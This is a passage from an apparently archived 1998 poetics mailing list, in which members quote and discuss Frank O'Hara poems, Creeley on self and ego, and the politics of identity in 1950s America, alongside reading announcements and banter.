anyway.
            "Frankly I wanted to tell you
I like your poetry. I see a lot

on my rounds and you're okay. You may
not be the greatest thing on earth, but
you're different. Now, I've heard some
say you're crazy, they being excessively
calm themselves to my mind, and other
crazy poets think that you're a boring
reactionary. not me.
Just keep on
like I do and pay no attention. You'll
find that people always will complain
about the atmosphere, either too hot
or too cold too bright or too dark, days
too short or too long.
If you don't appear
at all one day they think you're lazy
or dead. Just keep right on. I like it.

And don't worry about your lineage
poetic or natural. The Sun shines on
the jungle, you know, on the tundra
the sea, the ghetto. Wherever you were
I knew it and saw you moving. I was waiting
for you to get to work.

And now that you
are making your own days, so to speak,
even if no one reads you but me
you won't be depressed. Not
everyone can look up, even at me. It
hurts their eyes."
"Oh Sun, I'm so grateful to you!"

"Thanks and remember I'm watching. It's
easier for me to speak to you out
here. I don't have to slide down
between buildings to get your ear.
I know you love Manhattan, but
you ought to look up more often.
And
always embrace things, people earth
sky stars, as I do, freely and with
the appropriate sense of space. That
is your inclination, known in the heavens
and you should follow it to hell, if

necessary, which I doubt.
Maybe we'll
speak again in Africa, of which I too
am specially fond. Go back to sleep now
Frank, and I may leave a tiny poem
in that brain of yours as my farewell."

"Sun, don't go!" I was awake
at last. "No, go I must, they're calling
me."
"Who are they?"
Rising he said "Some
day you'll know. They're calling to you
too." Darkly he rose, and then I slept.

ANSWER TO VOZNESENSKY & EVTUSHENKO

We are tired of your tiresome imitations of Mayakovsky
we are tired
of your dreary tourist ideaas of our Negro selves
our selves are in far worse condition than the obviousness
of your color sense
your general sense of Poughkeepsie is
a gaucherie no American poet would be guilty of in Tiflis
thanks to French Impressionism
we do not pretend to know more
than can be known
how many sheets have you stained with your semen
oh Tartars, and how many
of our loves have you illuminated with
your heart and breath
as we poets of America have loved you
your countrymen, our countryme, our lives, your lives, and
the dreary expanses of your translations
your idiotic manifestos
and the strange black cock which has become ours despite your envy

we do what we feel
you do not even do what you must or can
I do not love you any more since Mayakovsky died and Pasternak
theirs was the death of my nostalgia for your tired ignorant race
since you insist on race
you shall not take my friends away from me
because they live in Harlem

you shall not make Mississippi into
Sakhalin
you came too late, a lovely talent doesn't make a ball
I consider myself to be black and you not even part
where you see death
you see a dance of death
which is
imperialist, implies training, requires techniques
our ballet does not employ
you are indeed as cold as wax
as your progenitor was red, and how greatly we loved his redness
in the fullness of our own idiotic sun! what
"roaring universe" outshouts his violent triumphant sun!
you are not even speaking
in a whisper
Mayakovsky's hat worn by a horse

On Tuesday, May 12, 1998 2:52 PM, MAYHEW [SMTP:[redacted]]
wrote:
> Hi Gary:
>
> People do take their O'Hara seriously. Here are some poems I think
> demonstrate some of his emotional as well as stylistic range:
>
> "Who'd of thought / that snow falls"
> "Mr. O'Hara's Sunday Morning Service" [in _Poems Retrieved_]
> [The Clouds Go Soft]
> "Poetry"
> "A True Account of Talking to the Sun"
> "Answer to Vozneshensky and Evtushenko"
>
> I get the opposite response from O'Hara from the one you describe--not
> suffocation but liberation, which is not to say you are wrong in your
> reaction--there is a surface edginess that can be wearying to many readers
> and can give an impression of sameness even when underneath the emotions
> are shifting constantly.
>
> Jonathan Mayhew
>
>

↑ Index

301. **Robert Hale**

Re: Robert Hale...do you take requests?

Wed 13 May 1998

Based on the quality of past AERIAL issues, I am definitely making an assumption that the Andrews issue will be worth reading.

As I stated previously, I owe you a reading of Andrews, and I will try to deliver on that when I get a chance. There are a number of things on my plate right now, including a review of Millennium Vol.2 -- a big task that may produce some more detailed insights on the issues we've raised.

At 09:39 AM 5/13/98 -0400, you wrote:
>Hi, Robert:
>
>I want to request two things. The first is that, rather than simply dismiss
>"focus" "energy" and "intensity" as values worth my time & interest attending
>myself to, you explain why they're "bullshit." I'm willing to consider what you
>have to say.
>
>Secondly, since it's obvious now that the Andrews issue of AERIAL doesn't yet
>exist, I'm going to make the assumption that you haven't read it. Which means
.
>. . well, that you offered me something "of value" that you have no personal
>experience with yourself. In other words, you have opinions about things
you've
>never read. I don't want to make this assumption; I'd much rather assume
you've
>read the magazine's contents in a galley copy or manuscript. Please let me
>know. In either instance, I'd still like to see that reading of Andrews's
>writing as of significant political impact. YOUR reading. Not his. Nor his
>pals.
>
>Thanks,
>
>Gary
>
>On Tuesday, May 12, 1998 1:54 PM, Robert Hale [SMTP:[redacted]] wrote:
>> I don't know, Gary, you slammed me pretty hard last week for my post
where I
>> suggested radical elements in B. Andrews' and other work. Considering the
>> nature of my post and my own love of politics, I had no problem with your
>> line of questioning. I wouldn't even call it "ferocious," but considering
>> the gist of your counter-opinion -- that the value of his work lies in it's

>> "focus" "energy" and "intensity" -- perhaps you should turn the bullshit
>> detector on yourself.
>>
>> Sniping aside, you're on the right track in questioning generalizations.
>
>

↑ Index

302. Michael Magee
Re: I love typing "FO'H" . . . as, who wouldn't?
Wed 13 May 1998

The Creeley essay I quoted is from 1973, entitled "The Creative." I *highly* recommend, to everyone, buying the Collected Essays - the essays are as brilliant as the poems. -m.

According to Gary Sullivan:
>
> Thanks, Michael Magee for that Creeley excerpt. I'd love to read the entire
> essay, but don't have the collected essays. Do you know, is it in either A
> Quick Graph or Was That a Real Poem . . .? What's the title of the essay? Lemme
> know. & thanks again.
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> I've taken the liberty of typing those poems out, in part because it helps me
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> here, on the board, because I'd really appreciate a reading from you of these,
> specifically concentrated on the emotional range, which isn't as obvious to me
> as the stylistic range. I'm still seeing grey, & feel like a chump, a chimp, a
> cheap simp, a peachy mispeep, etc. As Chris Stroffolino and Jordan Davis and

> you all I think intimated, it's more likely a limitation of MY emotional range.
> Could you (or anyone) take these poems apart . . . help foreground their
> emotional resonance for me? I know taking poems apart is icky-critic work,
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> this is O'Hara . . . & I think the poems will still sing, will be as lovely as
> they were before we got our dirty paws & thoughts all over them. (Just got
> Andrew Epstein's post . . . thank you! especially for quoting!) . . . --Gary
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> around me and my bear
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> Then it seemed beautiful
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> snow whirled
>   nothing ever fell
> nor my little bear
>   bad thoughts
> imprisoned in crystal
>
> beauty has replaced itself with evil
>
> And the snow whirls only
>   in fatal winds
> briefly
>   then falls
>
> it always loathed containment
>   beasts
> I love evil
>
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> MR. O'HARA'S SUNDAY MORNING SERVICE
>

> There is this to be said
> for Sunday morning: that if
> I have been very bad the night
> before and wake up feeling
>
> like a drab on a sunny day,
> Dick will pop into my room
> and invite me out to the
> high abandoned airfield.
>
> There, the sun will seem
> properly chilly and the wind
> will not compromise us
> with any silly sentiment
>
> I will walk about on the
> heaving grass rather shakily
> and observe the model airplanes
> lofted by dry blue currents.
>
> As Dick like a discus hurler
> throws his wood into the sky
> I begin to feel engaged and
> follow the glider straining
>
> its little spirit into swoops
> that clumsily break and bounce
> to earth with a grunt. Then
> he must pick up on its wings
>
> and go home, to make repairs,
> to putty its nose and straighten
> its tail, to talk about winds
> and temperatures and balance,
>
> to think about theories of
> flight, and shave perhaps. So
> all through dinner our clear
> anxious eyes remain aloft.
>
>
> [THE CLOUDS GO SOFT]

>
> The clouds go soft
> change color and so many kinds
> puff up, disperse
> sink into the sea
> the heavens go out of kilter
> an insane remark greets
> the monkey on the moon
> in a season of wit
> it is all demolished
> or made fragrant
> sputnik is only the word for "traveling companion"
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> here on earth
> at 16 you weigh 144 pounds and at 36
>
> the shirts change, endless procession
> but they are all neck 14 sleeve 33
>
> and holes appear and are filled
> the same holes anonymous filler
> no more conversion, no more conversation
>
> the sand inevitably seeks the eye
> and it is the same eye
>
>
> POETRY
>
> The only way to be quiet
> is to be quick, so I scare
> you clumsily, or surprise
> you with a stab. A praying
> mantis knows time more
> intimately than I and is
> more casual. Crickets use
> time for accompaniment to
> innocent fidgeting. A zebra
> races counterclockwise.
> All this I desire. To
> deepen you by my quickness
> and delight as if you

> were logical and proven,
> but still be quiet as if
> I were used to you; as if
> you would never leave me
> and were the inexorable
> product of my own time.
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> A TRUE ACCOUNT OF TALKING
> TO THE SUN AT FIRE ISLAND
>
> The Sun woke me this morning loud
> and clear, saying "Hey! I've been
> trying to wake you up for fifteen
> minutes. Don't be so rude, you are
> only the second poet I've ever chosen
> to speak to personally
> so why
> aren't you more attentive? If I could
> burn you through the window I would
> to wake you up. I can't hang around
> here all day."
> "Sorry, Sun, I stayed
> up late last night talking to Hal."
>
> "When I woke up Mayakovsky he was
> a lot more prompt" the Sun said
> petulantly. "Most people are up
> already waiting to see if I'm going
> to put in an appearance."
> I tried
> to apologize "I missed you yesterday."
> "That's better," he said. "I didn't
> know you'd come out." "You may be
> wondering why I've come so close?"
> "Yes" I said beginning to feel hot
> wondering if maybe he wasn't burning me
> anyway.
> "Frankly I wanted to tell you
> I like your poetry. I see a lot
> on my rounds and you're okay. You may
> not be the greatest thing on earth, but

> you're different. Now, I've heard some
> say you're crazy, they being excessively
> calm themselves to my mind, and other
> crazy poets think that you're a boring
> reactionary. not me.
> Just keep on
> like I do and pay no attention. You'll
> find that people always will complain
> about the atmosphere, either too hot
> or too cold too bright or too dark, days
> too short or too long.
> If you don't appear
> at all one day they think you're lazy
> or dead. Just keep right on. I like it.
>
> And don't worry about your lineage
> poetic or natural. The Sun shines on
> the jungle, you know, on the tundra
> the sea, the ghetto. Wherever you were
> I knew it and saw you moving. I was waiting
> for you to get to work.
>
> And now that you
> are making your own days, so to speak,
> even if no one reads you but me
> you won't be depressed. Not
> everyone can look up, even at me. It
> hurts their eyes."
> "Oh Sun, I'm so grateful to you!"
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> "Thanks and remember I'm watching. It's
> easier for me to speak to you out
> here. I don't have to slide down
> between buildings to get your ear.
> I know you love Manhattan, but
> you ought to look up more often.
> And
> always embrace things, people earth
> sky stars, as I do, freely and with
> the appropriate sense of space. That
> is your inclination, known in the heavens
> and you should follow it to hell, if

> necessary, which I doubt.
> Maybe we'll
> speak again in Africa, of which I too
> am specially fond. Go back to sleep now
> Frank, and I may leave a tiny poem
> in that brain of yours as my farewell."
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> at last. "No, go I must, they're calling
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> day you'll know. They're calling to you
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> ANSWER TO VOZNESENSKY & EVTUSHENKO
>
> We are tired of your tiresome imitations of Mayakovsky
> we are tired
> of your dreary tourist ideaas of our Negro selves
> our selves are in far worse condition than the obviousness
> of your color sense
> your general sense of Poughkeepsie is
> a gaucherie no American poet would be guilty of in Tiflis
> thanks to French Impressionism
> we do not pretend to know more
> than can be known
> how many sheets have you stained with your semen
> oh Tartars, and how many
> of our loves have you illuminated with
> your heart and breath
> as we poets of America have loved you
> your countrymen, our countryme, our lives, your lives, and
> the dreary expanses of your translations
> your idiotic manifestos
> and the strange black cock which has become ours despite your envy
>
> we do what we feel
> you do not even do what you must or can
> I do not love you any more since Mayakovsky died and Pasternak
> theirs was the death of my nostalgia for your tired ignorant race

> since you insist on race
> you shall not take my friends away from me
> because they live in Harlem
> you shall not make Mississippi into
> Sakhalin
> you came too late, a lovely talent doesn't make a ball
> I consider myself to be black and you not even part
> where you see death
> you see a dance of death
> which is
> imperialist, implies training, requires techniques
> our ballet does not employ
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> as your progenitor was red, and how greatly we loved his redness
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> > and can give an impression of sameness even when underneath the
emotions
> > are shifting constantly.
> >

> > Jonathan Mayhew
> >
> >
>

↑ Index

303. **MAYHEW**
F O'H
Wed 13 May 1998

Gary (and who ever else is interested):

I don't usually want to do lit-crit explications on this list--that's what I do in my books and articles on Spanish poetry. Here's my brief take on some of the poems I suggested, however:

"Mr. O'Hara's Sunday morning service"

The experience of transcendence in friendship. The title of course a take-off on T.S. Eliot. An alternate model of spirituality.

"The Clouds go soft"

"Am I the same person I always was? What is my identity? I still wear the same shirt size as at age 16"

"Poetry"

"My casualness is all a mask, as you can plainly see; if I write too slowly and worry about being a great poet I will scare my muse away"

"Who'd have thought..."

My favorite O'Hara poem. Is it better to live in a self-contained world, identified with childhood? No, actions have consequences, snow falls. I must face the evil within myself and even love it.

"A true account"

"I must give myself permission to be a great poet (which I am) by imitating a great poem by Maiakovsky."

"Answer to ..." beautiful invective: "These Russian communist poets accuse us Americans of being racist, which pisses the hell out of me. American culture IS black culture, and vice-versa. Not only that, but the Russians are not even worthy heirs of Maiakovsky, as I am (see "A true account")."

I get a different emotional "charge" from each of these poems. I apologize for the crudeness of these paraphrases. Maybe Gary could suggest a poet he thinks has a great emotional range--the contrast might clarify his reaction to O'Hara...

Jonathan Mayhew
Department of Spanish and Portuguese
University of Kansas
[redacted]

↑ Index

304. Michael Kelleher

Frank

Wed 13 May 1998

Frank is Number 1! Go Frank!

"In Memory of My Feelings" is a good place to look to see the full range of emotion O'Hara's poems can handle. It asks the eternal question who am I? and rather than answer with a barrage of sentiment, very coolly and wittily maps out the terrain of identity. Emotions in the poem are expressed indirectly, as if he were trying see the "Medusa" without being turned to stone. Thus in turning slightly away from the direct address/redress of emotion, he is able to map an entire range of emotions by mapping the movements of the mind through (variously) surreal imagery, personal narrative, classical art and history, national history, mythology and pop culture. All sashay and swagger about in a drag carnival as possible locations/masks for identity. The result is a movement through terror to ecstasy to resignation to satisfaction to pain to pleasure, no single emotion outdoing the other as they all vie with that most-modern of dillemmas, identity. The problem as it is revealed in the poem is that the poet discovers not a single unified self, but a series of masks which hint at something other than themsleves (I would argue something resembling the Kantian sublime), but never reveal it because whatever it is is not to be seen directly (like the Medusa). By revealing to himself the drag of identity, the poet is able to handle both the question who am I? more deftly than most poets I have seen, but to express a range of emotions hitherto unavailable in a poetry which does assume a stable ego.

See also "Second Avenue", "Ode to Michael Goldberg..." and "Easter" for this type of complexity and emotional range.

Truly,

Mike

P.S. Sorry so long, I'm in the midst of a paper on said subject and needed to let off some steam.

↑ Index

305. **henry gould**
Re: Frank
Wed 13 May 1998

stable identity, unstable... one self, many selves... isn't it all the same narcissism? Not just in O'Hara - it sort of defines the difference between lyric & epic, lyric & narrative. The "unstable" self misses out on the history in which the stable self is tested & ground down or raised up. While humorless grandiosity or puritanism as Rachel said doesn't make very good poetry - nevertheless, in a narcissistic Seinfeld industrial-commercial culture that can't even look at its own cities or the 3rd world, much less improve conditions there, maybe there's something in this radical/ narcissism/sustenance question...something political... - Henry G

↑ Index

306. **Michael Kelleher**
Re: Frank
Wed 13 May 1998

Henry,

I don't know if I'm arguing or agreeing with you, but wouldn't you say that in the context of 1950's America, a time in which the US goverment along with all of US commercail and media industries took a hand in attempts to forcibly "identify" persons within very strict categories, ie, american/un-american, the former being defined as straight, right-thinking, christian (Robert Lowell) and the latter defined as queer, pinko, atheist (Ginsberg) that the destabilizing of identity would in itself be a political act, one with potentially "real" political consequences (Lillian Hellman)?

Mike

↑ Index

307. **henry**
Re: Frank
Wed 13 May 1998

On Wed, 13 May 1998 14:16:48 -0400 Michael Kelleher said:
>Henry,
>
>I don't know if I'm arguing or agreeing with you, but wouldn't you say
>that in the context of 1950's America, a time in which the US goverment
>along with all of US commercail and media industries took a hand in
>attempts to forcibly "identify" persons within very strict categories,

>ie, american/un-american, the former being defined as straight,
>right-thinking, christian (Robert Lowell) and the latter defined as
>queer, pinko, atheist (Ginsberg) that the destabilizing of identity
>would in itself be a political act, one with potentially "real"
>political consequences (Lillian Hellman)?
>

No doubt about it. But I think that maybe at the present time Gary's idea of "sanitized" has to do with the "reification" of identity-as-poet - as opposed to a backgrounding of the poet and a bringing forward of the "theme" (radical/sustenance). Lyric vs. epic or something.

Both directions - lyric/epic, personal/impersonal - can be
taken to the limit by radical people.
- Henry G.

↑ Index

308. **Judy Roitman**
Re: Creeley Speaks
Wed 13 May 1998

> *Judy Roitman earlier mentioned Creeley as someone capable of ridding the ego from his writing. This, from his interview with Linda Wagner suggests otherwise*
> *. . . the interview, read en toto, suggests a deep personal involvement in the poem . . .*
>
> *"The distance is dictated by the poem, not by the writer. Or the assumptions he*
> *may bring to it. . . . Writing to me is the most intimate of all acts; why should I want to maintain a distance from that which engages me in it?"*
>
> *--Robert Creeley, from an interview with Linda Wagner, ca. 1965*

No contradiction.

There seem to be several definitions of "self" and "ego" & etc. (e.g., what does it mean to "rid the ego from writing?") running around here.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas |
memory fails Lawrence, KS 66045 | these are the days."
[redacted] | fax: [redacted] | Larry Eigner,
1927-1996 ---------- Note new area
code ----------
http://www.math.ukans.edu/~roitman/

↑ Index

309. Jordan Davis
Frankly
Wed 13 May 1998

A nice moment in Charles North's book of essays when he complains about Ashbery's punishing caprices, like "Leading liot act to foriage", it makes me think about O'Hara's use of the word "frankly" which always makes me tip me head forward in discomfort, eyes narrowed as from huge glare. Nevertheless, I see Uncle Henry steering the holodeck's hull into a butte and COMPUTER PAUSE would come to my lips if only I knew what any of those things meant. Bill what happened to Djarmok at Tenagra? I am outing you but you did it yourself. Now Henry I want to know why you are suggesting there is a direct connection between O'Hara and Seinfeld. What is up with those Providence anchorpeople's hair? I don't think O'Hara would have disliked Seinfeld, but more than that, I don't think any of us who argue that O'Hara had a better-populated mood palette than Gary argued would argue that it's possible to write like O'Hara -- not only does none of us have the datebook of an O'Hara, not only are we more restricted in our permissions (don't ask don't ask!), we have a somewhat different culture to pick and choose from. No offense to Zhdanov or Parschikov or Dragomoschenko, but where in the world are the Pasternaks for a young poet to cable support? Why haven't the young poets from Harvard shown up yet? Are they all writing for The Simpsons?

Subsistence, well we haven't heard much about it yet, but won't its poetic equivalent risk malnourishment? There's been some rumbling (Mark P? Gary?) about poetry and surplus. I'm no economist, but although poetry doesn't create surplus value, couldn't it be said to be the surplus of language itself? and when we say of something that it has duende or energy or overdeterminacy couldn't it just be this surplus of meaning? Please don't prematurely count me against the whole earth poetries, but tell me more, especially if you can do it without using the word "minimal".

OK today --
Jordan

↑ Index

310. Brent Long
Re: Creeley Speaks
Wed 13 May 1998

Gary (and List),

Correct me if I am wrong here, but it seems that what Creeley is discussing in that interview is the sense of "self" which is (hopefully) brought to ALL poems by ALL writers, and not necessarily his ego.

Perhaps I am incorrect, but that's the way I read it.

At 09:30 AM 5/13/98 -0400, you wrote:

> *Judy Roitman earlier mentioned Creeley as someone capable of ridding the ego from his writing. This, from his interview with Linda Wagner suggests otherwise . . . the interview, read en toto, suggests a deep personal involvement in the poem . . .*
>
> *"The distance is dictated by the poem, not by the writer. Or the assumptions he may bring to it. . . . Writing to me is the most intimate of all acts; why should I want to maintain a distance from that which engages me in it?"*
>
> *--Robert Creeley, from an interview with Linda Wagner, ca. 1965*

<paraindent><param>left,out</param>- They said I was avant garde...little did they realize, I just didn't give a shit.

↑ Index

311. R. Gancie
radical
Wed 13 May 1998

"In the past the man has been first; in the future the system must be first."---Frederick Winslow Taylor, Scientific Management

"The nickname Prisoner's Dilemma, attributed to A. W. Tucker, derives from the original anecdote used to illustrate the game. Two prisoners held incommunicado, are charged with the same crime. They can be convicted only if either confesses. Designate by -1 the payoff associated with conviction on the basis of confessions by both prisoners and by +1 the payoff associated with acquittal. Further, if only one confesses, he is set free for having turned state's evidence and is given a reward to boot. Call his payoff under these circumstances +2. The prisoner who has held out is convicted on the strength of the other's testimony and is given a more severe sentence than if he had also confessed. Call this payoff -2. The game so defined is identical with that

presented by Matrix 3 where D represents "confess" and C "do not confess." It is in the interest of each to confess whatever the other does. But it is their collective interest to hold out.---Anatol Rapoport & Albert M. Chammah, Prisoner's Dilemma

"Journalist Mark Baker interviewed one soldier who described what happened to three Vietnamese detainees in a chopper with an American intelligence officer: 'The first gook wouldn't talk. Intelligence gives you a signal, thumb toward the door, and you push the guy out. The other two gooks look to see this guy going out the helicopter door. If the second guy didn't look like he wants to say something or he's lying, the intelligence officer says, "This guy out the door." You'd kick him out because you're supposed to do what these intelligence officers tell you to do. They're speaking for the Army. The last prisoner is crying and he's leaking like a typewriter. He's talking Vietnamese like crazy. That's human nature. This guy is running his mouth. You'd have to gag him to make him shut up.... Before we get back to base camp, after this guy do (sic) all the talking and the intelligence officer document (sic) everything, they kick him out the door anyway. Even the good gook, they'd give the word on him and throw him out the door.'"---James William Gibson, The Perfect War:TechnoWar in Vietnam

"As has beeen pointed out game theory was conceived by mathematicians, and since the publication of the fundamental treatise, has been developed almost exclusively by mathematicians. The theory can be viewed as a self-contained branch of mathematics-a system of theoroems built up from a set of postulates. All purely mathematical thoeries are of this sort and, as such, are practically immune from criticism."---Anatol Rapaport, Fights, Games and Debates---cp

↑ Index

312. Keston Sutherland
Re: Frankly
Wed 13 May 1998

> *Why haven't the young poets from Harvard shown up yet? Are they all writing for The Simpsons?*

I was, but was kicked off the team. Now scribbling in sweatshop for Wheel of Fortune.

↑ Index

313. Keston Sutherland
ex-Simpsonite
Wed 13 May 1998

in fact, since we never get to see each other (though I've seen a good deal of Jordan, indeed), this Simpsons thing is a ticket: I invented BARNEY, he's based on me, that's what I look like. KS

↑ Index

314. daniel bouchard
Re: ex-Sampsonite
Wed 13 May 1998

I can't sit by silently while these blatant prevarications and misrepresentations fill the otherwise integrity-bound Net.

First, Keston is a bloke, not a "guy." Waugh-worth more than Frank O. UK, not Mass Cambridge.

Also, he looks like Lennon circa 1964 but with later eye frames. Tho, like Barney, I think he would drink turpentine if it came to that. And he smokes like Marge's sisters.

yrs,

Mr. Burns

At 03:10 PM 5/13/98 -0400, Keston Sutherland wrote:
>in fact, since we never get to see each other (though I've seen a good
>deal of Jordan, indeed), this Simpsons thing is a ticket: I invented
>BARNEY, he's based on me, that's what I look like. KS
>

<<<<<<>>>>>>>>>>>>>>>>>>
Daniel Bouchard
The MIT Press Journals
Five Cambridge Center
Cambridge, MA 02142

[redacted]
phone: [redacted]
  fax: [redacted]
>>>>>>>><<<<<<<<<<<<<<<<<<

↑ Index

315. Gary Sullivan
"We shoot every third salesman . . . and the second one just left"
Wed 13 May 1998

So much to respond to & even more questions to ask . . . & already on my fifth post. I want to quote more from Creeley interviews as regards self and ego . . . which I believe I did flatten into each other . . . because, in Creeley's case, reading this interview (with Linda Wagner) this morning . . . he refers constantly to Pound's "quality of the emotion" as his own primary measure, and elaborates a bit . . . my sense being that emotions are, if not wholly, certainly in some portion, ego-generated or -situated . . . I may pull some quotes in a few days . . .

& I'll dig around for things from others to compare with some of the O'Hara poems posted . . . people whose writings I do consider "less sanitized" . . . maybe Friday . . . & at that time also say more about this three-word-phrase, "appreciation of subsistence," which has, somehow, become perceived almost as movement unto itself . . . I meant it, when stated, with reference to Niedecker, Eigner . . . & to less extent Creeley . . . it does have a certain political weight for me . . . above & beyond the political weight that ALL public writing or language can be said to have . . . but haven't thought of (in any way shape or form) such a thing as "whole earth poetry" . . . though I know Jordan's chiding . . . but, will say more later, except to note that neither Niedecker's nor Eigner's work is thin, undernourished . . . malnourishment a risk in poetry only ever when you write only what you already know . . .

Gary

↑ Index

316. Uncle Henry
Re: Frankly
Wed 13 May 1998

---

why should I rehash the lyric personal impersonal flabingo which has been rehashed more than enough for the last 20 years, so I will not. Sail on, poetics. As I insisted previously, the obsolete/redundant is the most radical thing going. it's not surplus because there's no quantity, just remainders. - Uncle Henry

↑ Index

317. **toddbaron**
Re: F O'H
Wed 13 May 1998

Great "emotional" range: an interesting concept all by tiself: that somehow the language and the poetry would choose one or/over the other. The discussion of O'Hara" "you don't refuse to breathe do you" (Is It Dirty) is an odd one--that thot and emotional would be separate--which is why I am not an academic--of that O' Hara--whose very lines redefine--for American poetry--as WHitman or Dickinson.

That's emotional "charge"

"You'll never be mentally sober"
  POEM

"(I hate all that crap)"
Yesterday Down at the Canal

Todd Baron
ReMap

↑ Index

318. **Maria Damon (Maria Damon)**
Frankly my dearzies
Wed 13 May 1998

---

just to thank everyone who responded to my queries, about british explit, about renga, and l peltier.

i remembered my third query. is jacobo timmerman the proper spelling for the guy who wrote prisoner w/o a name, cell w/o a number? and is argentine?

and another; i've lost my poetry project newsletter w/ hannah weiner obits. need fullcitation info for charles bernstein's nice piece on her.

↑ Index

319. **toddbaron**
Re: SELF?
Wed 13 May 1998

"I is another"
(Rimbaud)

↑ Index

320. **morpheal**
Re: SELF?
Wed 13 May 1998

> "*I is another*"
> *(Rimbaud)*

Letter to his family, Tadjoura, French colony of Obock, December 3, 1885:

"They have left the place its local sultan and the native administration. The place is a protectorate. The local business is trading in slaves..... The stuff we import is rifles (old percussion rifles that were scrapped forty years ago) that cost 7 or 8 francs apiece at secondhand arms dealers in Liege or France. You can sell them to the King of Shoa, Menelik II, for around forty francs apiece. But there are enormous expenses involved, without mentionning the dangers of the caravan route round trip. The people who live along the route are Dankalis, Bedouin Shepherds, fanatical Moslems: they are dangerous. It is true we have firearms and the Bedouins only have spears: but every caravan is attacked."

Arthur Rimbaud

↑ Index

321. **sylvester pollet**
Re: Frank
Wed 13 May 1998

At 2:16 PM -0400 5/13/98, Michael Kelleher wrote:
>Henry,
>
>I don't know if I'm arguing or agreeing with you, but wouldn't you say
>that in the context of 1950's America, a time in which the US goverment
>along with all of US commercail and media industries took a hand in
>attempts to forcibly "identify" persons within very strict categories,
>ie, american/un-american, the former being defined as straight,
>right-thinking, christian (Robert Lowell) and the latter defined as
>queer, pinko, atheist (Ginsberg) that the destabilizing of identity
>would in itself be a political act, one with potentially "real"
>political consequences (Lillian Hellman)?
>
>Mike

Not to quibble, but Lowell was imprisoned as a c.o.

↑ Index

322. Samuel R. Truitt
ATTICUS BOOKS AND MUSIC READING
Wed 13 May 1998

GRAHAM FOUST
MARY HILTON
SAM TRUITT

READING ON

FRIDAY, MAY 15 @ 7PM

ATTICUS BOOKS & MUSIC
1508 U STREET
WASHINGTON, DC

FOR INFO: [redacted]

↑ Index

323. Billy Little
Re: I love typing "FO'H" . . . as, who wouldn't?
Wed 13 May 1998

---

thanks for typing garry, that ohara is a cool drink, a refreshment, before stonewall, the knuckle dragging days, people had to smuggle james joyce in from paris, nabokov and miller came the same way, the publishers of miller, and ginsberg, and mcclure tried for obscenity, billie holiday and john coltrane very much the presence, Adam Clayton Powell was the godfather of Harlem, the catholic church the slumlord of harlem, lenny bruce hounded to his death(the originator of the yadda yadda seinfeld is first remembered for) "camp" the predominant mode, it was illegal to serve alcohol to a homosexual, there were separate black and white beaches in Lewes, Delaware, they wouldn't even serve blacks in the military in the one restaurant in town, they'll never turn back the strides made in the sixties even if they delude theyselves for another twenty years we aint going there, glasnost is coming to the potomac Linton Kwesi Johnson will perform on the lawn of the Green House, the repainted home of the great facilitator, President Jesse Jackson or Andrew Young. O'Hara like to say he thought of his poems as transcribed phone calls, o for a cell phone on fire island!

↑ Index

324. **Tenney Nathanson**
Re: SELF?
Wed 13 May 1998

"they bids"

> *-----Original Message-----*
> *From: UB Poetics discussion group*
> *[mailto:[redacted]]On Behalf Of toddbaron*
> *Sent: Wednesday, May 13, 1998 3:07 PM*
> *To: [redacted]*
> *Subject: Re: SELF?*
>
> *"I is another"*
> *(Rimbaud)*

↑ Index

325. **George Bowering**
Re: new titles from Wild Honey Press
Thu 14 May 1998

> *At 12:42 AM -0700 5/13/98, George Bowering wrote:*
> *not nearly so embarrassing as the verbal compost matter Bowering and Bromige subject us to --on purpose ;)*
>
> *Okay, Maria. I am not going to backchannel any more of our secret stuff to you.Unless you take that remark back.*
>
> *George, i will *not* be implicated in your murky designs. especially not in public. btw, please mail all suspicious looking packages to my po box, not my home address. thanks, md*

Hey, Maria,

Speaking of suspicious packages; I havent opened the last one you sent. I can hear a kind of electric buzzing coming from inside. I have asked Bromige if he ever heard such a thing, and he said "heh heh" on e-mail.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

326. **Charles Alexander**
Re: yet another query
Thu 14 May 1998

---

and Maria, the Two Stein Talks mentioned by Hejinian, are in TEMBLOR 3. Temblor 10 has a very fine piece by Bev Dahlen, Tautology and The Real, largely having to do with Stein and Spicer, which is very nice -- originally delivered as a talk in a series here in Tucson.

And it may be something of a stretch, but Deleuze & Guattari's A Thousand Plateaus seems possibly useful here, in its various senses of how meaning coheres and disperses.

good luck to your student!

charles
charles alexander :: poet and book artist :: [redacted]
chax press :: alexander writing/design/publishing
books by artists' hands :: web sites built with care and vision
http://alexwritdespub.com/chax :: http://alexwritdespub.com

↑ Index

327. **RanPrunty**
Re: Top Ten
Thu 14 May 1998

In alpha order

1 Antenym
2 Arshile
3 Explosive Magazine
4 Misc. Proj.
5 New American Writing
6 Rhizome
7 Situation
8 Syntactics
9 Talisman
10 Torque

this fun list from years of careful study
Randy Prunty

↑ Index

328. **JDEBROT**
Re: Frank
Thu 14 May 1998

Lilian Hellman writes: would not "the destabilizing of identity," in the culture of the 50s-60s "in itself be a political act, one with potentially "real" political consequences?"

The relationship of poetry to politics is of course deeply problematic: is it prefigurative? instrumental? etc.

In the context of the 60s, as Andrew Ross has pointed out, artists & intellectuals were confronted with the necessity for making, consciously, a choice between tendentious social commentary & formally transformative aesthetic strategies that would undermine autonomous authorial agency (i.e. collage, montage, etc.).

I think it's important to remember that, at the time, expressionistic work, with its emphasis on the universal character of the individual's subjective consciousness would have had, as its underlying assumption -- the assumption for instance of the Abstract Expressionists -- that this "universal" consciousness was white, straight, & male. For this reason, although they were conflicted in their relationship to Ab Ex, an expressionistic poetics would have seemed untenable to the New York School poets.

Given, also, the recent & on-going re-discovery of the chief aesthetic strategies of the historical avant-garde, an expressionistic & autonomous poetics would have appeared reactionary. What needs to be done I think is to work out the ways in which the simultanaeity of the rediscoveries and repetitions of Dadaist oppositional strategies in the work of Burroughs, Ashbery, Cage, and to a lesser extent, O'Hara "substantiates the hypothesis that the discursive formation of modernism generated its own historical and evoloutionary dynamic" (Bucholoh) -- rather than being for example a pathetic & failed repetition of those strategies (i.e. Peter Burger). Moreover, any discussion of expression in O'H's work has to be historicized, right? After all, an attachment to transcendent logics seems to be what O'H was, in part, attempting to discredit.

↑ Index

329. **JDEBROT**
Re: Reading at Harvard
Thu 14 May 1998

Do not have the time to describe Dan Bouchard's & Keston Sutherland's reading last night in detail, but I think I should report that Dan read with a powerfully ironic intelligence & that Keston's work struck me as being a unique

